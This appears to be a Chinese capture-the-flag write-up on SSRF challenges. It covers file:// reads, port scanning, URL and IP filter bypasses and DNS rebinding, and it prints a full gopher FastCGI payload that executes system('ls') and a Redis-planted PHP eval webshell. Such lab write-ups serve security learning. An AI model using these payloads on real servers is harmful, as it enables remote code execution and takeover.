当前位置: 首页 > article >正文

web基础之SSRF

1、内网访问

题目提示:访问位于127.0.0.1的flag.php;直接利用ssrf漏洞访问
?url=127.0.0.1/flag.php

2、伪协议读取文件

(1)题目提示:尝试去读取一下Web目录下的flag.php吧
(2)什么是伪协议?

file:// 协议:访问本地文件系统;在ctf考察中通常来读取web目录的文件
http/s协议;探测内网主机存活
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 

(3)构造payload(web根目录一般都是var/www/html)
/?url=file:///var/www/html/flag.php
f12拿到flag

image

3、端口扫描

直接python写一个字典脚本;使用bp进行爆破;直接拿下flag
python脚本:

with open("password.txt", "w") as file:
   for i in range(8000, 9001):
     file.write(f"{i}\n") 

image

4、post请求

根据题目提示,一共有三个php文件;分别是flag.php、302.php、index.php;访问一下flag.php
http://challenge-10193e76d50d08cb.sandbox.ctfhub.com:10800?url=127.0.0.1/flag.php
f12发现了key;分析源码发现需要向服务器发送key才能拿到flag;于是构造post请求;使用gopher://协议进行传输;(自行了解);拿到flag

5、文件上传

构造payload;发现了文件上传点
/?url=127.0.0.1/flag.php
直接上传文件;但是发现没有上传按钮,修改html代码,增加提交按钮
<input type="submit" value="提交">
上传木马;但是发下上传不上去;那就是用gopher协议

6、FastCGI协议

(1)解释
fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件
(2)借助gopherus,构造从127.0.0.1访问payload,访问目录下的index.php, 别问我怎么知道在/var/www/html下有一个index.php文件;然后输入index.php目录,运行一下ls
 

image


自行下载gopherus-maste工具
 

image


把这一大段拉出来,准备二次编码
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
写一个python脚本,把上述payload进行二次编码;把二次编码后的结果拿出来;放到url;用上述相同的方法读取根目录,这次的RCE远程执行命令为ls /,查看html的上级目录,看到flag

image

7、Redis协议

(1)Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标
(2)还是用gopherus

python2 gopherus.py –exploit redis
PHPShell
<?php eval($_POST["aaa"])?> 

antsword连接
 

image


拿到flag

image

8、URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧;利用@如http://notfound.ctfhub.com@www.bbb.com, php会识别www.bbb.com

9、数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢;进制转换
?url = 0x7f.0.0.1/flag.php

10、DNS重绑定 Bypass

生存时间(Time To Live)”- 简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
常见的设置TTL值的场景:
1.增大TTL值,以节约域名解析时间
2.减小TTL值,减少更新域名记录时的不可访问时间


http://www.kler.cn/a/301952.html

相关文章:

  • 用pandoc工具实现ipynb,md,word,pdf之间的转化
  • Java中的集合类与线程安全的讨论
  • 三:网络为什么要分层:OSI模型与TCP/IP模型
  • 博物馆实景复刻:开启沉浸式文化体验的新篇章
  • 【代码审计】常见漏洞专项审计-业务逻辑漏洞审计
  • 在 CentOS 系统中,您可以使用多种工具来查看网络速度和流量
  • 第L6周:机器学习-随机森林(RF)
  • JsonPath全英文文档学习
  • Oracle数据库中的动态SQL(Dynamic SQL)
  • 【python学习】深入掌握 Python RQ 任务队列库:全面处理异步任务的实战指南
  • JavaScript数据类型
  • CentOS 7 最小化安装后如何安装图形化桌面
  • 数据结构修炼——时间复杂度?空间复杂度?教你如何衡量算法的优劣!!
  • 内核线程之User-Mode Helpers
  • 【AI赋能医学】基于深度学习和HRV特征的多类别心电图分类
  • chrome浏览器如何设置自动播放音视频
  • Flask 第五课 -- 项目结构
  • 零基础5分钟上手亚马逊云科技-利用API网关管理API
  • 移植案例与原理 - XTS子系统之应用兼容性测试用例开发
  • 在Ubuntu 20.04上安装pgAdmin 4
  • 【Linux】探索进程优先级的奥秘,解锁进程的调度与切换
  • ICM20948 DMP代码详解(17)
  • Mysql查看锁阻塞信息
  • 机器学习实战21-基于XGBoost算法实现糖尿病数据集的分类预测模型及应用
  • 用钱能解决的事儿真不叫事儿!
  • SQL Server数据库简单的事务日志备份恢复